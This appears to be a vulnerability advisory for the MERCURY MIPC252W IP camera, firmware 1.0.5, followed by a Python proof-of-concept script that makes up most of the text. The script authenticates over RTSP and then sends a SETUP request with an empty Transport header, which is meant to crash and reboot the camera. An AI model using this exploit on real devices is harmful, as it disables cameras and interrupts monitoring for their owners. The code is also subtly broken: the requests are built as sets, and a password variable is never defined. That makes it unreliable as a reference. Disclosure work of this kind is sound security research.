# Vulnerability Summary: Null Pointer Dereference Vulnerability in MERCURY MIPC252W IP Camera ## Vulnerability Overview A null pointer dereference vulnerability exists in the RTSP service of the MERCURY MIPC252W IP camera. When processing a `SETUP` request targeting the path `/rtsp://:554/stream/track2`, the device fails to properly validate the `Transport` header field. If this header is malformed (e.g., the header is present but the value is empty), the RTSP service may dereference a null pointer during request parsing. Successful exploitation results in a device crash and automatic reboot, causing RTSP stream interruption, disconnection of mobile applications, and resulting in a Denial of Service (DoS) condition. ## Scope of Impact - **Vendor**: MERCURY - **Affected Product**: MIPC252W - **Affected Firmware Version**: 1.0.5 Build 230306 Rel.79931n - **Firmware Download URL**: https://service.mercurycom.com.cn/download-2777.html ## Remediation No specific remediation steps or patches are provided on the page. It is recommended to contact the vendor, MERCURY, to obtain updates or patches. ## POC Code ```python #!/usr/bin/env python3 """ PoC for Null Pointer Dereference in MERCURY MIPC252W RTSP Service This proof-of-concept reproduces a denial-of-service vulnerability by following a complete RTSP request sequence and sending a malformed SETUP request with an empty Transport header field for the second media track. Tested device: - Vendor: MERCURY - Model: MIPC252W - Firmware: 1.0.5 Build 230306 Rel.79931n Impact: - Device crashes and automatically reboots - RTSP service interruption (Denial of Service) This code is for authorized security research purposes only. """ import socket import time import hashlib CAMERA_IP = "TARGET_IP" # replace with target device IP RTSP_PORT = 554 RTSP_URI = f"rtsp://{CAMERA_IP}:{RTSP_PORT}/stream1" USERNAME = "admin" REALM = "MERCURY IP-Camera" # Precomputed HA1 value (device/user specific, used only for PoC) HA1 = hashlib.md5(f"{USERNAME}:{REALM}:{YOUR_PASSWORD}".encode()).hexdigest() #Calculations must be performed def calculate_response(nonce, method, uri): """Calculate RTSP Digest authentication response""" ha2 = hashlib.md5(f"{method}:{uri}".encode()).hexdigest() return hashlib.md5(f"{HA1}:{nonce}:{ha2}".encode()).hexdigest() # Create RTSP connection sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((CAMERA_IP, RTSP_PORT)) # 1. OPTIONS options_req = { f"OPTIONS {RTSP_URI} RTSP/1.0\r\n" f"CSeq: 2\r\n" f"User-Agent: LibVLC/3.0.20 (LIVE555 Streaming Media v2016.11.28)\r\n\r\n" } sock.send(options_req.encode()) time.sleep(1) options_res = sock.recv(4096).decode(errors="ignore") print("OPTIONS Response:\n", options_res) # 2. DESCRIBE (unauthenticated) describe1_req = { f"DESCRIBE {RTSP_URI} RTSP/1.0\r\n" f"CSeq: 3\r\n" f"User-Agent: LibVLC/3.0.20 (LIVE555 Streaming Media v2016.11.28)\r\n" f"Accept: application/sdp\r\n\r\n" } sock.send(describe1_req.encode()) time.sleep(1) describe_res = sock.recv(4096).decode(errors="ignore") print("DESCRIBE_1 Response:\n", describe_res) # Extract nonce nonce = None for line in describe_res.split("\r\n"): if "nonce=" in line: nonce = line.split('nonce="')[1].split('"')[0] break if not nonce: print("[!] Failed to get nonce from response") sock.close() exit(1) response = calculate_response(nonce, "DESCRIBE", RTSP_URI) # 3. DESCRIBE (authenticated) describe2_req = { f"DESCRIBE {RTSP_URI} RTSP/1.0\r\n" f"CSeq: 4\r\n" f"Authorization: Digest username=\"{USERNAME}\", realm=\"{REALM}\", " f"nonce=\"{nonce}\", uri=\"{RTSP_URI}\", response=\"{response}\"\r\n" f"Accept: application/sdp\r\n\r\n" } sock.send(describe2_req.encode()) time.sleep(1) describe_res = sock.recv(4096).decode(errors="ignore") print("DESCRIBE_2 Response:\n", describe_res) # 4. SETUP track1 (normal) setup1_req = { f"SETUP {RTSP_URI}/track1 RTSP/1.0\r\n" f"CSeq: 5\r\n" f"User-Agent: LibVLC/3.0.20 (LIVE555 Streaming Media v2016.11.28)\r\n" f"Authorization: Digest username=\"{USERNAME}\", realm=\"{REALM}\", " f"nonce=\"{nonce}\", uri=\"{RTSP_URI}\", response=\"{response}\"\r\n" f"Transport: RTP/AVP/TCP;unicast;interleaved-0-1\r\n\r\n" } sock.send(setup1_req.encode()) time.sleep(1) setup_res = sock.recv(4096).decode(errors="ignore") print("SETUP_1 Response:\n", setup_res) # Extract Session ID session_id = None for line in setup_res.split("\r\n"): if line.startswith("Session:"): session_id = line.split(":")[1].strip() break if not session_id: print("[!] Failed to get session ID") sock.close() exit(1) # 5. SETUP track2 (malformed Transport header) setup2_req = { f"SETUP {RTSP_URI}/track2 RTSP/1.0\r\n" f"CSeq: 6\r\n" f"User-Agent: LibVLC/3.0.20 (LIVE555 Streaming Media v2016.11.28)\r\n" f"Authorization: Digest username=\"{USERNAME}\", realm=\"{REALM}\", " f"nonce=\"{nonce}\", uri=\"{RTSP_URI}\", response=\"{response}\"\r\n" f"Transport:\r\n" f"Session: {session_id}\r\n\r\n" } sock.send(setup2_req.encode()) time.sleep(1) setup_res = sock.recv(4096).decode(errors="ignore")